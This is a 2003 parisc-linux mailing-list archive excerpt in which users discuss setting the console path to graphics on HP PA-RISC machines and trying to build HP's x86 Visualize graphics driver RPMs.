Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17754

On Fri, Feb 21, 2003 at 06:26:47AM -0900, ext Tom wrote:
> > > On Fri, Feb 21, 2003 at 03:58:52AM +0000, ext Rod Smart wrote:

> > > >   Console path:         SERIAL_1.9600.8.none
> > >     I have installed Debian through this console, and would like to play
> > > with it the usual way now ;o)

> > Um ... "path console graphics" could be a good starting point. It
> > probably tells you that "graphics" isn't a good path and shows a list of
> > what could be, but that's almost as good.

> "path console graphics(0)" sets the console to the built-in video on my
> C180; graphics(x) (where x is the slot number as printed on the back of
> the case) sets it to the video card in that slot...

Well ... yes. (I just had to set a B180L to mode 12 on graphics(0) 
manually from the serial console as that seems to be the only way to make 
it work with an A4033A with the usual 3-BNC cable.)

Now that I think about it ... I probably had to use pci(4) or some such 
once on a C360 but then again that one didn't have a built-in adapter.

Oh, and really, my Linux-running C240 still has the console on serial - 
_and_ X and a bunch of virtual terminals also available on the graphics 
card. 


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] X problems...
Date: Fri, 21 Feb 2003 17:17:49 +0100
Lines: 122
Approved: news@gmane.org
Message-ID: <3E484410000030B6@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622229 21959 80.91.229.3 (22 Nov 2014 02:10:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Dan Baker" <dan_baker@eli.net>,
	"'Grant Grundler'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 09:17:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39DD4483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 09:17:55 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18mFrz-0006hE-00; Fri, 21 Feb 2003 17:17:51 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 21 Feb 2003 17:17:49 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17755

Hi Dan,

I also install a b2k with linux, also I am very interrested by your information.

I so download rpms that you mentionned and install it.

I just first notice that they are just different revision of the kernel
module for hpgfx :). But, after a quick search on google, I read that it
must exists somewhere a set of user space tools as FXconfig.sh (to config
XFree86 if I well understand). Any info about this?

Some other notes:
using rpm to install sources I read in SPEC file:
_Distribution_: Red Hat Linux 6.2 (2.2.16-3)
                                   ^^^^^^^^
ok that is just a text but it makes me feel that it would run on 2.2 kernel
only
In your knowledge, is there some more recent release supporting 2.4?

And finaly (the very bad news) I think that I found the answer to your original
question (gcc complaints about unknown code IIRC):
_BuildArchitectures_: i386

And effectively a quick 'find' in sources makes me appear that there are
unfortunaltely asm code (specific to i386 arch :( )

So finaly I am interrested to know how do you build your module:
for me a simple make failled because it did not know where to find some
headers,
and rpm -bb SPECS/tag... failled because of architecture restriction?

Sorry to not be more helpfull,
    Joel



>-- Original Message --
>From: "Dan Baker" <dan_baker@eli.net>
>To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>
>Cc: <parisc-linux@lists.parisc-linux.org>
>Subject: RE: [parisc-linux] X problems...
>Date: Thu, 20 Feb 2003 09:28:04 -0800
>
>
>the other driver is at
>ftp://ftp.hp.com/pub/ccd/soar2sdd/wk259/wk259mu/hpgraphics_kernel-1.5.13-1.s
>rc.rpm
>
>Sorry
>
>Dan Baker
>
>-----Original Message-----
>From: parisc-linux-admin@lists.parisc-linux.org
>[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Grant
>Grundler
>Sent: Wednesday, February 19, 2003 9:15 PM
>To: Dan Baker
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] X problems...
>
>
>On Wed, Feb 19, 2003 at 05:42:29PM -0800, Dan Baker wrote:
>> BUT, I did download source code for HP's Intel linux visualize driver.
>I
>> can't get it to compile, the assembler tells me there's an invalid opcode
>> (??) in the .o file. I'm not really a programmer, so I'm hoping somebody
>out
>> there can take a look at what they're doing and fix it.
>
>Well, it's not that easy even for someone who can read C.
>
>First, some bad news:
>o x86 version of the card has extra VGA cruft+BIOS.
>  PA-Risc version uses STI firmware for initialization.
>o IIRC, the X11 server (or maybe just gfx card driver?) is a custom,
>  closed source code.  Hopefully I'm wrong and someone will correct me.
>o I'll guess that many (most of the?) interesting bits are in the XF86
>  hpgfx driver module. I'm assuming one exists.
>
>Good news: 3d acceleration for x86 cards uses the same RISC engines
>as the parisc cards.
>
>Several years ago I asked someone in the HP gfx group if they
>could port the HPUX driver to parisc-linux but our port wasn't
>ready then (I think it is now). The gfx driver interacts *alot*
>with the rest of the kernel *and* the X11 server.
>The above is what I remember from conversations with people.
>
>> The files are at
>>
>>
>ftp://ftp.hp.com/pub/ccd/soar2sdd/wk207/wk207en/hpgraphics_kernel-1.5.3-1.sr
>> c.rpm
>> and
>>
>ftp://ftp.hp.com/pub/ccd/soar2sdd/wk207/wk207en/hpgraphics_kernel-1.5.3-1.sr
>> c.rpm
>
>uhm...'cuse me, but aren't those the same?
>
>hth
>grant
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rod Smart <snaketails@optushome.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot console wrong.
Date: Fri, 21 Feb 2003 23:13:49 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <3E56B2AC.DCC46120@optushome.com.au>
References: <3E55A3FC.C06BFE43@optushome.com.au> <20030221082726.GH6523@aurinko.ntc.nokia.com> <Pine.LNX.4.53.0302210625170.18642@wolf.alaskatech> <20030221153313.GM6523@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622229 21963 80.91.229.3 (22 Nov 2014 02:10:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:29 +0000 (UTC)
To: PARISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 09:35:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jumpgate.home.net.au (c16844.fernt1.vic.optusnet.com.au [210.49.203.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 140E14838
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 09:35:34 -0700 (MST)
Original-Received: from localhost (jumpgate.home.net.au [127.0.0.1])
	by jumpgate.home.net.au (Postfix) with ESMTP id 88EBB62E53
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Feb 2003 03:35:31 +1100 (EST)
Original-Received: from optushome.com.au (shadow.home.net.au [192.168.3.130])
	by jumpgate.home.net.au (Postfix) with ESMTP id E533962E52
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Feb 2003 03:35:05 +1100 (EST)
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,Thai
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17756

    Ok, my graphics card is installed in Slot 3, so whats the differance between
3a and 3b ??

> Possible paths are:
>         GRAPHICS(0)
>         GRAPHICS(1a)
>         GRAPHICS(1b)
>         GRAPHICS(2a)
>         GRAPHICS(2b)
>         GRAPHICS(3a)
>         GRAPHICS(3b)
>         GRAPHICS(4a)
>         GRAPHICS(4b)
>         PCI3
>         PCI4
>         SERIAL_1
>         SERIAL_2
>
Nahkola Mikko wrote:

> On Fri, Feb 21, 2003 at 06:26:47AM -0900, ext Tom wrote:
> > > > On Fri, Feb 21, 2003 at 03:58:52AM +0000, ext Rod Smart wrote:
>
> > > > >   Console path:         SERIAL_1.9600.8.none
> > > >     I have installed Debian through this console, and would like to play
> > > > with it the usual way now ;o)
>
> > > Um ... "path console graphics" could be a good starting point. It
> > > probably tells you that "graphics" isn't a good path and shows a list of
> > > what could be, but that's almost as good.
>
> > "path console graphics(0)" sets the console to the built-in video on my
> > C180; graphics(x) (where x is the slot number as printed on the back of
> > the case) sets it to the video card in that slot...
>
> Well ... yes. (I just had to set a B180L to mode 12 on graphics(0)
> manually from the serial console as that seems to be the only way to make
> it work with an A4033A with the usual 3-BNC cable.)
>
> Now that I think about it ... I probably had to use pci(4) or some such
> once on a C360 but then again that one didn't have a built-in adapter.
>
> Oh, and really, my Linux-running C240 still has the console on serial -
> _and_ X and a bunch of virtual terminals also available on the graphics
> card.
>
> --
> Mikko Nahkola   <mikko.nahkola@nokia.com>
> Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot console wrong.
Date: Fri, 21 Feb 2003 08:44:15 -0800 (PST)
Lines: 82
Approved: news@gmane.org
Message-ID: <20030221164415.16374.qmail@web12508.mail.yahoo.com>
References: <3E56B2AC.DCC46120@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1952554905-1045845855=:13981"
X-Trace: ger.gmane.org 1416622230 21966 80.91.229.3 (22 Nov 2014 02:10:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:30 +0000 (UTC)
To: Rod Smart <snaketails@optushome.com.au>,
	PARISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 09:44:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id CC822483D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 09:44:16 -0700 (MST)
Original-Received: from [12.24.253.152] by web12508.mail.yahoo.com via HTTP; Fri, 21 Feb 2003 08:44:15 PST
In-Reply-To: <3E56B2AC.DCC46120@optushome.com.au>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17757

--0-1952554905-1045845855=:13981
Content-Type: text/plain; charset=us-ascii


Slot 3 alone is single port.  Slot 3a would be port one of a dual monitor port card and slot 3b would be the second monitor port of that dual monitor port card.
derek
 Rod Smart <snaketails@optushome.com.au> wrote:Ok, my graphics card is installed in Slot 3, so whats the differance between
3a and 3b ??

> Possible paths are:
> GRAPHICS(0)
> GRAPHICS(1a)
> GRAPHICS(1b)
> GRAPHICS(2a)
> GRAPHICS(2b)
> GRAPHICS(3a)
> GRAPHICS(3b)
> GRAPHICS(4a)
> GRAPHICS(4b)
> PCI3
> PCI4
> SERIAL_1
> SERIAL_2
>
Nahkola Mikko wrote:

> On Fri, Feb 21, 2003 at 06:26:47AM -0900, ext Tom wrote:
> > > > On Fri, Feb 21, 2003 at 03:58:52AM +0000, ext Rod Smart wrote:
>
> > > > > Console path: SERIAL_1.9600.8.none
> > > > I have installed Debian through this console, and would like to play
> > > > with it the usual way now ;o)
>
> > > Um ... "path console graphics" could be a good starting point. It
> > > probably tells you that "graphics" isn't a good path and shows a list of
> > > what could be, but that's almost as good.
>
> > "path console graphics(0)" sets the console to the built-in video on my
> > C180; graphics(x) (where x is the slot number as printed on the back of
> > the case) sets it to the video card in that slot...
>
> Well ... yes. (I just had to set a B180L to mode 12 on graphics(0)
> manually from the serial console as that seems to be the only way to make
> it work with an A4033A with the usual 3-BNC cable.)
>
> Now that I think about it ... I probably had to use pci(4) or some such
> once on a C360 but then again that one didn't have a built-in adapter.
>
> Oh, and really, my Linux-running C240 still has the console on serial -
> _and_ X and a bunch of virtual terminals also available on the graphics
> card.
>
> --
> Mikko Nahkola 
> Tre-IN sysadmin 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, and more
--0-1952554905-1045845855=:13981
Content-Type: text/html; charset=us-ascii

<P>Slot 3 alone is single port.&nbsp; Slot 3a would be port one of a dual monitor port card and slot 3b would be the second monitor port of that dual monitor port card.
<P>derek
<P>&nbsp;<B><I>Rod Smart &lt;snaketails@optushome.com.au&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">Ok, my graphics card is installed in Slot 3, so whats the differance between<BR>3a and 3b ??<BR><BR>&gt; Possible paths are:<BR>&gt; GRAPHICS(0)<BR>&gt; GRAPHICS(1a)<BR>&gt; GRAPHICS(1b)<BR>&gt; GRAPHICS(2a)<BR>&gt; GRAPHICS(2b)<BR>&gt; GRAPHICS(3a)<BR>&gt; GRAPHICS(3b)<BR>&gt; GRAPHICS(4a)<BR>&gt; GRAPHICS(4b)<BR>&gt; PCI3<BR>&gt; PCI4<BR>&gt; SERIAL_1<BR>&gt; SERIAL_2<BR>&gt;<BR>Nahkola Mikko wrote:<BR><BR>&gt; On Fri, Feb 21, 2003 at 06:26:47AM -0900, ext Tom wrote:<BR>&gt; &gt; &gt; &gt; On Fri, Feb 21, 2003 at 03:58:52AM +0000, ext Rod Smart wrote:<BR>&gt;<BR>&gt; &gt; &gt; &gt; &gt; Console path: SERIAL_1.9600.8.none<BR>&gt; &gt; &gt; &gt; I have installed Debian through this console, and would li
 ke to play<BR>&gt; &gt; &gt; &gt; with it the usual way now ;o)<BR>&gt;<BR>&gt; &gt; &gt; Um ... "path console graphics" could be a good starting point. It<BR>&gt; &gt; &gt; probably tells you that "graphics" isn't a good path and shows a list of<BR>&gt; &gt; &gt; what could be, but that's almost as good.<BR>&gt;<BR>&gt; &gt; "path console graphics(0)" sets the console to the built-in video on my<BR>&gt; &gt; C180; graphics(x) (where x is the slot number as printed on the back of<BR>&gt; &gt; the case) sets it to the video card in that slot...<BR>&gt;<BR>&gt; Well ... yes. (I just had to set a B180L to mode 12 on graphics(0)<BR>&gt; manually from the serial console as that seems to be the only way to make<BR>&gt; it work with an A4033A with the usual 3-BNC cable.)<BR>&gt;<BR>&gt; Now tha
 t I think about it ... I probably had to use pci(4) or some such<BR>&gt; once on a C360 but then again that one didn't have a built-in adapter.<BR>&gt;<BR>&gt; Oh, and really, my Linux-running C240 still has the console on serial -<BR>&gt; _and_ X and a bunch of virtual terminals also available on the graphics<BR>&gt; card.<BR>&gt;<BR>&gt; --<BR>&gt; Mikko Nahkola <MIKKO.NAHKOLA@NOKIA.COM><BR>&gt; Tre-IN sysadmin <MNAHKOLA@TREIN.NTC.NOKIA.COM><BR>&gt; _______________________________________________<BR>&gt; parisc-linux mailing list<BR>&gt; parisc-linux@lists.parisc-linux.org<BR>&gt; http://lists.parisc-linux.org/mailman/listinfo/parisc-linux<BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-li
 nux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/">Yahoo! Tax Center</a> - forms, calculators, tips, and more
--0-1952554905-1045845855=:13981--


From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X problems...
Date: Fri, 21 Feb 2003 17:50:12 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <3E5658C4.30003@bluehash.de>
References: <3E484410000030B6@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622230 21968 80.91.229.3 (22 Nov 2014 02:10:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:30 +0000 (UTC)
To: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 09:49:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (unknown [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id 62E234845
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 09:49:17 -0700 (MST)
Original-Received: (qmail 23152 invoked from network); 21 Feb 2003 16:49:05 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.1.237)
  by mail.medianet-world.de with SMTP; 21 Feb 2003 16:49:05 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.2.1) Gecko/20021130
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <3E484410000030B6@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17758

Joel Soete wrote:

>Hi Dan,
>
>I also install a b2k with linux, also I am very interrested by your information.
>
>I so download rpms that you mentionned and install it.
>
>I just first notice that they are just different revision of the kernel
>module for hpgfx :). But, after a quick search on google, I read that it
>must exists somewhere a set of user space tools as FXconfig.sh (to config
>XFree86 if I well understand). Any info about this?
>  
>
Using Google, I found this URL:

http://www.msclinux.com/software/msclinux/installcd_packages_july2002-i686/msclinux-i686-July2002-installation-RPMS-hpgraphics-1.5.3.k24-3.msc.i686.rpm.html

Hope it helps,
    Rdiger




From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] X problems...
Date: Fri, 21 Feb 2003 18:05:03 +0100
Lines: 152
Approved: news@gmane.org
Message-ID: <3E484410000030D7@ocpmta7.freegates.net>
References: <3E484410000030B6@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622230 21972 80.91.229.3 (22 Nov 2014 02:10:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Dan Baker" <dan_baker@eli.net>,
	"'Grant Grundler'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 10:05:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 047934841
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 10:05:08 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18mGbg-0004w3-00; Fri, 21 Feb 2003 18:05:04 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 21 Feb 2003 18:05:03 +0100
In-Reply-To: <3E484410000030B6@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17759

just find this dated Jan 2003 for 2.4 kernel I presume:

<ftp://ftp.msclinux.com/msclinux/i686/current/SRPMS/hpgraphics-1.5.3.2.4.18-9.msc.src.rpm>

seems also containing tools (will see later)

hth,
    Joel

>-- Original Message --
>From: "Joel Soete" <jsoe0708@tiscali.be>
>Subject: RE: [parisc-linux] X problems...
>To: "Dan Baker" <dan_baker@eli.net>,
>	"'Grant Grundler'" <grundler@dsl2.external.hp.com>
>Cc: parisc-linux@lists.parisc-linux.org
>Date: Fri, 21 Feb 2003 17:17:49 +0100
>
>
>Hi Dan,
>
>I also install a b2k with linux, also I am very interrested by your information.
>
>I so download rpms that you mentionned and install it.
>
>I just first notice that they are just different revision of the kernel
>module for hpgfx :). But, after a quick search on google, I read that it
>must exists somewhere a set of user space tools as FXconfig.sh (to config
>XFree86 if I well understand). Any info about this?
>
>Some other notes:
>using rpm to install sources I read in SPEC file:
>_Distribution_: Red Hat Linux 6.2 (2.2.16-3)
>                                   ^^^^^^^^
>ok that is just a text but it makes me feel that it would run on 2.2 kernel
>only
>In your knowledge, is there some more recent release supporting 2.4?
>
>And finaly (the very bad news) I think that I found the answer to your original
>question (gcc complaints about unknown code IIRC):
>_BuildArchitectures_: i386
>
>And effectively a quick 'find' in sources makes me appear that there are
>unfortunaltely asm code (specific to i386 arch :( )
>
>So finaly I am interrested to know how do you build your module:
>for me a simple make failled because it did not know where to find some
>headers,
>and rpm -bb SPECS/tag... failled because of architecture restriction?
>
>Sorry to not be more helpfull,
>    Joel
>
>
>
>>-- Original Message --
>>From: "Dan Baker" <dan_baker@eli.net>
>>To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>
>>Cc: <parisc-linux@lists.parisc-linux.org>
>>Subject: RE: [parisc-linux] X problems...
>>Date: Thu, 20 Feb 2003 09:28:04 -0800
>>
>>
>>the other driver is at
>>ftp://ftp.hp.com/pub/ccd/soar2sdd/wk259/wk259mu/hpgraphics_kernel-1.5.13-1.s
>>rc.rpm
>>
>>Sorry
>>
>>Dan Baker
>>
>>-----Original Message-----
>>From: parisc-linux-admin@lists.parisc-linux.org
>>[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Grant
>>Grundler
>>Sent: Wednesday, February 19, 2003 9:15 PM
>>To: Dan Baker
>>Cc: parisc-linux@lists.parisc-linux.org
>>Subject: Re: [parisc-linux] X problems...
>>
>>
>>On Wed, Feb 19, 2003 at 05:42:29PM -0800, Dan Baker wrote:
>>> BUT, I did download source code for HP's Intel linux visualize driver.
>>I
>>> can't get it to compile, the assembler tells me there's an invalid opcode
>>> (??) in the .o file. I'm not really a programmer, so I'm hoping somebody
>>out
>>> there can take a look at what they're doing and fix it.
>>
>>Well, it's not that easy even for someone who can read C.
>>
>>First, some bad news:
>>o x86 version of the card has extra VGA cruft+BIOS.
>>  PA-Risc version uses STI firmware for initialization.
>>o IIRC, the X11 server (or maybe just gfx card driver?) is a custom,
>>  closed source code.  Hopefully I'm wrong and someone will correct me.
>>o I'll guess that many (most of the?) interesting bits are in the XF86
>>  hpgfx driver module. I'm assuming one exists.
>>
>>Good news: 3d acceleration for x86 cards uses the same RISC engines
>>as the parisc cards.
>>
>>Several years ago I asked someone in the HP gfx group if they
>>could port the HPUX driver to parisc-linux but our port wasn't
